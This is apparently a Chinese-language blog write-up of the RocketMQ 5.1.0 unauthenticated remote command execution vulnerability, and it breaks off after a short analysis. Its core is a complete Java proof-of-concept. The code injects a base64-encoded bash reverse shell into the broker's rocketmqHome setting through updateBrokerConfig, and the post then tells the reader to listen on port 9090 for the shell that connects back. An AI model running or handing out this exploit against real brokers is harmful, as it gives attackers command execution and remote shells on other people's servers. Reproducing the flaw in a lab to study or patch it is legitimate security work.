漏洞简介
RocketMQ 是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性
RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的几个组件,包括NameServer、Broker、Controller外网泄露,缺少权限验证,攻击者可以利用该漏洞通过更新配置功能以运行 RocketMQ 的系统用户身份执行命令。此外,攻击者可以达到相同的效果。
漏洞复现
我们利用 vulhub 来进行环境的搭建及漏洞的复现
利用 idea 创建一个 maven 项目
添加依赖
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Base64;
import java.util.Properties;
public class poc {
private static String getCmd(String ip, String port) {
String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
}
public static void main(String[] args) throws Exception {
String targetHost = "10.0.21.13";
String targetPort = "10911";
String shellHost = "10.0.21.13";
String shellPort = "9090";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
props.setProperty("filterServerNums", "1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
// admin.setNamesrvAddr("0.0.0.0:12345");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
在本地监听 9090 端口
运行程序 接收到反弹回来的shell
简单分析
简单对漏洞进行描述就是,可以对系统中的配置文件进行修改,而系统默认是一直进行命令执行的,修改的参数替换了原本的命令,就实现了任意命令执行
定时执行